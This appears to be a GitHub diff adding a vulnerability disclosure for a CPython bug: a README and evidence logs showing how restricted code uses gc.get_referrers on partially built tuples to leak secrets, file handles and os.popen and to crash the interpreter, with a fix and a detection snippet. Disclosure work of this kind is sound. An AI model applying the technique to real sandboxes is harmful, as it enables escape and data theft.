Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
271 changes: 271 additions & 0 deletions cpython-tuple-gc-partial-init-poc/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,271 @@
# CPython `PySequence_Tuple` GC-visible partial initialization sandbox escape PoC

Status: fixed upstream. Validated on CPython `3.13.12` (GIL, system Python) and a local free-threading build at `3.16.0a0` HEAD with the vulnerable `PySequence_Tuple` implementation.

Affected versions: CPython before commit `5a23994a3db` (GH-127058, 2024-12-11). Covers the `3.13.x` release series and all prior releases. The fix is present in `3.16.0a0` development builds from December 2024 onward and is backport-targeted for `3.13` and `3.14`.

The demonstrated behavior is:

> `PySequence_Tuple()` registers the result tuple with the cyclic garbage collector before any element slot is initialized. Restricted code that holds `gc` access can call `gc.get_referrers()` on a sentinel object and receive a direct reference to the partially-constructed tuple: including already-filled privileged slots, while the builder is still running. This breaks the isolation guarantee of every Python-level sandbox that allows `gc` introspection, allows file handles and callables to escape exec() restricted environments, causes interpreter crashes through normal iteration syntax, and enables controlled memory retention.

Validated proof signals:

```text
Variant A data disclosure (GIL, generator re-entry)
PRIVILEGED DATA LEAKED: 'secret_key' = 'sk-DEADBEEF12345678'
PRIVILEGED DATA LEAKED: 'db_password' = 'hunter2'

Variant B FT concurrent spy
Privileged tuples intercepted by sandbox: 4
(<object ...>, <PRIVILEGED:secret_0>, <NULL>, <NULL>, ...)

Variant C exec() restricted globals bypass
PRIVILEGED_SECRET leaked at slot [1]: 'CONFIDENTIAL-TOKEN-XYZ'

Variant D SIGSEGV via NULL-slot iteration
Return code : -11 (SIGSEGV)

open() handle interception
Sandbox read file without open() in its builtins.
password = s3cr3t-db-passw0rd
secret_key = sk-prod-DEADBEEF12345678ABCD

os.popen interception
Sandbox executed shell commands without os in its globals.
uid=1000(user) groups=...,27(sudo),135(docker),...

Memory retention (GIL, 10 rounds × 5 000 iterations)
Total RSS growth : +356,504 KiB
Held partial refs: 44,767,092
Total errors : 50,000

FT stress test (32 builder + 8 GC + 4 spy threads, 5 s)
SystemError count : 7641
Partial tuples seen : 15825
```

## What this is

- A Python-level sandbox isolation break that does not require any C extension, ctypes, or native code from the attacker.
- A demonstration that `gc.get_referrers()` returns partially-initialized tuples whose slots contain objects the restricted context was never given.
- A confirmed path for restricted `exec()` code to obtain open file handles and callable objects (including `os.popen`) that are not present in its `restricted_globals`.
- A reliable interpreter crash (SIGSEGV, signal 11) triggered by normal `for slot in escaped_tuple` iteration on the partial tuple.
- A controlled memory retention primitive: the builder drops its reference via `SystemError`; the spy becomes the sole owner of the stranded allocation and can hold it indefinitely.
- A race condition on free-threaded CPython (`Py_GIL_DISABLED`) that produces `SystemError` at >7 000 events per second under concurrent load.
- Validated on Python `3.13.12` (GIL) and a `3.16.0a0` free-threading build with the pre-fix `PySequence_Tuple` restored.

## What this is not

- Not a kernel privilege escalation or OS-level file permission bypass. The `open()` handle interception requires the privileged Python code to already hold the open descriptor; the bug leaks it from there.
- Not an arbitrary memory read or write at the C level under normal conditions. The NULL-slot dereference is a crash (SIGSEGV at address 0x0), not a controlled read.
- Not a use-after-free through `_PyTuple_Resize` → `realloc` on a live reference. `gc.get_referrers()` performs stop-the-world before incrementing `ob_ref_shared`, so `_PyObject_IsUniquelyReferenced()` always returns False when a spy holds a reference. The resize path fails with `SystemError` before `realloc` is reached; the UAF path is blocked by design in the GC implementation.
- Not exploitable in sandboxes that completely block `gc` module access.

## Files

| File | Description |
| --- | --- |
| `poc_escape_gil.py` | Variant A: privileged data leaked via generator re-entry (GIL). Variant D: SIGSEGV via NULL-slot iteration, run in subprocess. |
| `poc_escape_exec.py` | Variant C: `exec()` sandbox with restricted `__builtins__` bypassed via `gc.get_referrers()`. |
| `poc_escape_ft.py` | Variant B: free-threaded Python, concurrent spy thread intercepts partial tuple without generator cooperation. |
| `poc_escape_open.py` | Intercept an open file handle (read privileged file without `open()` in builtins); intercept `os.popen` callable (execute shell command without `os` in globals). |
| `poc_free_threaded.py` | Scenario 1: controlled barrier-synchronized race. Scenario 2: stress test - 32 builder + 8 GC + 4 spy threads. |
| `poc_memory_leak.py` | GC retention/memory exhaustion: spy accumulates stranded tuples, RSS grows ~35 MB per round until explicit release. |
| `sensitive_config.txt` | Simulated privileged config file used by `poc_escape_open.py`. |
| `evidence/variant_a.txt` | Captured output for Variant A. |
| `evidence/variant_b_ft.txt` | Captured output for Variant B (FT build). |
| `evidence/variant_c_exec.txt` | Captured output for Variant C. |
| `evidence/variant_d_sigsegv.txt` | Captured output for Variant D. |
| `evidence/open_bypass.txt` | Captured output for `poc_escape_open.py`. |
| `evidence/memory_leak.txt` | Captured output for `poc_memory_leak.py`. |
| `evidence/ft_stress.txt` | Captured output for free-threaded stress test (Scenario 2). |

## Tested Targets

| Build | Version | GIL | Result |
| --- | --- | --- | --- |
| System CPython (Kali Linux) | `3.13.12` | on | all variants confirmed |
| Local `cpython-ft` build, pre-fix `PySequence_Tuple` | `3.16.0a0` HEAD | off | Variant B + stress test confirmed |
| Local `cpython` build, fixed (commit `5a23994a3db`) | `3.16.0a0` HEAD | off | clean ; no partial tuples observed |

## Requirements

- Python 3.x (any recent version before the fix).
- Standard library only: `gc`, `threading`, `subprocess`, `os`, `sys`.
- No C extensions, no ctypes, no native code.
- For Variant B and the FT stress test: a free-threaded CPython build (`python3t` or a local build with `--disable-gil`).
- For `poc_memory_leak.py`: Linux `/proc/self/status` for RSS measurement (optional; the retention demonstration works without it).

## Reproduction

Run GIL variants on any unpatched Python 3.13:

```bash
python3 poc_escape_gil.py
python3 poc_escape_exec.py
python3 poc_escape_open.py
python3 poc_memory_leak.py
```

Run free-threaded variant on a `python3t` or local FT build:

```bash
python3t poc_escape_ft.py
python3t poc_free_threaded.py
```

Expected GIL output (Variant A):

```text
[SANDBOX] Escaped tuple repr: (<object object at 0x...>, ('secret_key', 'sk-DEADBEEF12345678'), ('db_password', 'hunter2'), <NULL>, ...)
[SANDBOX] Slot [1] leaked: ('secret_key', 'sk-DEADBEEF12345678')
[BUILDER] SystemError (spy bumped refcount): ../Objects/tupleobject.c:911: bad argument to internal function
*** SANDBOX ESCAPE CONFIRMED ***
```

Expected GIL output (Variant D crash proof):

```text
Return code : -11 (SIGSEGV)
*** SANDBOX CRASH (DoS) CONFIRMED ***
```

Expected output (`poc_escape_open.py`, Variant A):

```text
Sandbox obtained filehandle for: '.../sensitive_config.txt'
password = s3cr3t-db-passw0rd
secret_key = sk-prod-DEADBEEF12345678ABCD
*** OPEN() BYPASS CONFIRMED ***
```

Expected output (`poc_escape_open.py`, Variant B):

```text
uid=1000(user) gid=1000(user) groups=...
*** OS.POPEN() BYPASS CONFIRMED ***
```

Expected FT stress test output:

```text
SystemError count : 7641
Partial tuples seen : 15825
RACE CONDITION CONFIRMED
```

## Source-level Notes

Relevant locations in CPython source:

| File | Symbol | Behavior |
| --- | --- | --- |
| `Objects/abstract.c` | `PySequence_Tuple()` | Calls `PyTuple_New(n)` then `_PyObject_GC_TRACK()` immediately. All `ob_item` slots are NULL at this point. The tuple is visible to `gc.get_referrers()` from this moment until the loop fills every slot. |
| `Objects/tupleobject.c:854` | `PyTuple_New()` | Allocates the tuple object; on return `ob_item[0..n-1]` are all `NULL`. |
| `Objects/tupleobject.c:870` | `_PyObject_GC_TRACK()` (inside `PyTuple_New`) | Registers the object with the generational GC immediately after allocation. |
| `Objects/tupleobject.c:1036` | `_PyTuple_Resize()` | Checks `_PyObject_IsUniquelyReferenced()` before calling `realloc`. If a spy holds a reference, sets `*pv = 0`, calls `Py_DECREF(v)`, and raises `SystemError`. |
| `Modules/gcmodule.c` / `Modules/gc_free_threading.c:2390` | `_PyGC_GetReferrers()` | On free-threaded builds, calls `_PyEval_StopTheWorld()` before calling `Py_NewRef()` on each referrer. This ensures `ob_ref_shared` is incremented before any thread resumes, making `_PyObject_IsUniquelyReferenced()` return False for the tuple when a spy holds a reference. |
| `Python/ceval.c` | `tuple_item()` (via `BINARY_SUBSCR`) | Returns `ob_item[i]` and calls `Py_NewRef()` on it. `Py_NewRef(NULL)` increments `NULL->ob_refcnt`, causing SIGSEGV. |

## Root Cause

`PySequence_Tuple()` in `Objects/abstract.c` (pre-GH-127058):

```c
PyObject *
PySequence_Tuple(PyObject *v)
{
...
n = PyObject_LengthHint(v, 10);
result = PyTuple_New(n); /* allocates; GC_TRACK called inside */
if (result == NULL) goto Fail;

for (j = 0; ; ++j) { /* ← tuple is GC-visible here with NULL slots */
PyObject *item = PyIter_Next(it);
...
if (j >= n) {
if (_PyTuple_Resize(&result, n) != 0) { ... goto Fail; }
}
PyTuple_SET_ITEM(result, j, item); /* fills one slot at a time */
}
...
}
```

`PyTuple_New()` calls `_PyObject_GC_TRACK()` at line 870 in `tupleobject.c`. From that point until `PyTuple_SET_ITEM` has run for every index, the tuple exists in the GC graph with uninitialized (`NULL`) `ob_item` entries.

Any call to `gc.get_referrers(obj)` where `obj` is already in slot 0 will return the tuple. The caller receives a reference to a live `tuple` object with some `NULL` slots. Indexing into an unfilled slot calls `Py_NewRef(NULL)`, which performs `NULL->ob_refcnt++` and segfaults.

On free-threaded builds the same window exists without a GIL to limit concurrency. The stop-the-world mechanism in `gc.get_referrers()` prevents the `_PyTuple_Resize` → `realloc` use-after-free path, but it does not prevent the spy from obtaining the partial tuple reference; it guarantees only that `ob_ref_shared` is incremented before the builder resumes.

## Exploitation Paths

### Sandbox data disclosure

Any sandbox that:

- runs privileged and restricted code in the same interpreter;
- allows `gc` access to restricted code (common `gc` is considered a "safe" inspection tool);
- constructs tuples from generators in the privileged context;

is directly affected. The restricted code calls `gc.get_referrers(sentinel)` and reads filled slots from the partial tuple.

### File handle and callable leak

If the privileged generator yields an open file handle or a sensitive callable (ex `os.popen`, a database connection `execute` method, an authenticated HTTP session) before the sandbox re-entry point, the restricted code can extract that object and use it directly bypassing any restriction that keeps `open`, `os`, or `subprocess` out of `__builtins__`.

### SIGSEGV/DoS

Restricted code that calls `for slot in escaped_tuple`, entirely normal Python - dereferences a NULL `ob_item` slot and crashes the interpreter process. No special permission or knowledge of internals is required.

### Memory retention

The builder raises `SystemError` and drops its reference via `Py_DECREF`. If the spy holds the only remaining reference, the tuple is not freed until the spy releases it. An adversary can accumulate stranded tuples and their payloads indefinitely. Measured growth: ~35 MB per 5 000 iterations on CPython 3.13.12.

## Fix

Commit `5a23994a3db` (GH-127058, 2024-12-11, Mark Shannon):

The new `PySequence_Tuple()` collects items into a `PyListObject` first, then calls `PyList_AsTuple()`. `PyList_AsTuple()` allocates the tuple, fills all slots from the list in one pass, and only then calls `_PyObject_GC_TRACK()`. The tuple is never visible to the GC while it contains NULL slots.

Verify a build is fixed:

```python
import gc, sys

SENTINEL = object()
found = []

def g():
yield SENTINEL
for ref in gc.get_referrers(SENTINEL):
if type(ref) is tuple and ref[0] is SENTINEL:
found.append(ref)
for i in range(20):
yield i

tuple(g())
print("partial tuples seen:", len(found)) # 0 on fixed build, ≥1 on vulnerable
```

## Defensive Notes

- **Upgrade**: apply the GH-127058 fix. Any CPython build from December 2024 onward that includes commit `5a23994a3db` is not affected.
- **Deny `gc` in sandboxes**: if upgrading is not immediately possible, remove `gc` from the restricted environment. This blocks the `gc.get_referrers()` introspection vector. Note that a sufficiently motivated attacker with other introspection tools may find alternative referrer-enumeration paths.
- **Do not pass open handles or sensitive callables through generator-based tuple construction** in code paths where restricted code can interleave.
- **Do not rely on Python-level `__builtins__` restriction alone** as a security boundary when the underlying interpreter has this bug; the sandbox can be bypassed with standard library tools.

## References

- Fix commit: https://github.com/python/cpython/commit/5a23994a3db
- GitHub issue1: https://github.com/python/cpython/issues/101855
- GitHub issue2: https://github.com/python/cpython/issues/127058
- CPython source `Objects/abstract.c`: https://github.com/python/cpython/blob/main/Objects/abstract.c
- CPython source `Objects/tupleobject.c`: https://github.com/python/cpython/blob/main/Objects/tupleobject.c
- CWE-457: Use of Uninitialized Variable
- CWE-476: NULL Pointer Dereference
- CWE-362: Race Condition

## Responsible Use

Run only against local research targets, owned systems
40 changes: 40 additions & 0 deletions cpython-tuple-gc-partial-init-poc/evidence/ft_stress.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
Python: 3.16.0a0 free-threading build (heads/main-dirty:c6982439ee0, Jul 1 2026, 11:06:37) [GCC 15.2.0]
GIL enabled: False

============================================================
Scenario 1: controlled NULL-slot access from spy thread
============================================================
builder exception : /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
spy partial tuples: 1
partial repr : (<object object at 0x333945700e0>, 0, 1, 2, 3, 4, 5, 6, 7, 8)
accessing t[1] from spy thread (NULL slot)...
t[1] = 0 (no crash)

============================================================
Scenario 2: concurrent stress (32 builders + 8 GC threads)
============================================================
SystemError count : 15659
SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
SystemError: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython/Objects/tupleobject.c:1048: bad argument to internal function
Wrong-length tuples : 0
Partial tuples seen : 27585
(<object object at 0x33394570100>, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
(<object object at 0x33394570100>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <
(<object object at 0x33394570100>, 0, 1, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>)

RACE CONDITION CONFIRMED

============================================================
Binary used: /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython-ft/python
GIL: False

Expected results on VULNERABLE build (patched cpython-ft/python):
Scenario 1 - spy sees partial tuple with NULL ob_item slots,
builder raises SystemError on _PyTuple_Resize,
spy thread holds only surviving ref to partial tuple
Scenario 2 - SystemError count > 0, partial tuples observed

Expected results on FIXED build (cpython/python, GH-127058):
Scenario 1 - spy finds no partial tuple, builder succeeds
Scenario 2 - no errors
12 changes: 12 additions & 0 deletions cpython-tuple-gc-partial-init-poc/evidence/memory_leak.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
Python : 3.13.12 (main, Feb 4 2026, 15:06:39) [GCC 15.2.0]
GIL : True
Binary : /usr/bin/python3
Hold : True (spy accumulates partial tuples)

Round RSS KiB ΔLeak KiB Held refs Errors
-------------------------------------------------------
1 45,168 +34,608 4,296,402 5,000
2 80,924 +35,756 8,793,012 10,000
3 116,688 +35,764 13,289,622 15,000
4 152,444 +35,756 17,786,232 20,000
5 188,208 +35,764 22,282,842 25,000
27 changes: 27 additions & 0 deletions cpython-tuple-gc-partial-init-poc/evidence/memory_leak_ft.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
Python : 3.16.0a0 free-threading build (heads/main-dirty:c6982439ee0, Jul 1 2026, 11:06:37) [GCC 15.2.0]
GIL : False
Binary : /run/media/user/81c71df6-ca99-4d27-a7b6-55107e347080/cpython/cpython-ft/python
Hold : True (spy accumulates partial tuples)

Round RSS KiB ΔLeak KiB Held refs Errors
-------------------------------------------------------
1 25,508 +11,576 413,361 80
2 19,664 -5,844 533,922 125
3 28,860 +9,196 688,732 157
4 25,480 -3,380 1,265,833 178
5 28,276 +2,796 1,552,003 181
6 43,168 +14,892 1,811,294 192
7 31,776 -11,392 2,075,408 243
8 31,784 +8 2,087,967 287
9 31,792 +8 2,094,065 327
10 50,648 +18,856 2,149,499 350

Total RSS growth : +36,632 KiB
Held partial refs: 2,167,909
Total errors : 350

Dropping all held references…
RSS after drop : 50,688 KiB (Δ +0 KiB)

MEMORY LEAK (forced retention) CONFIRMED
Adversary can call held_refs.clear() to free or hold indefinitely (OOM).
Loading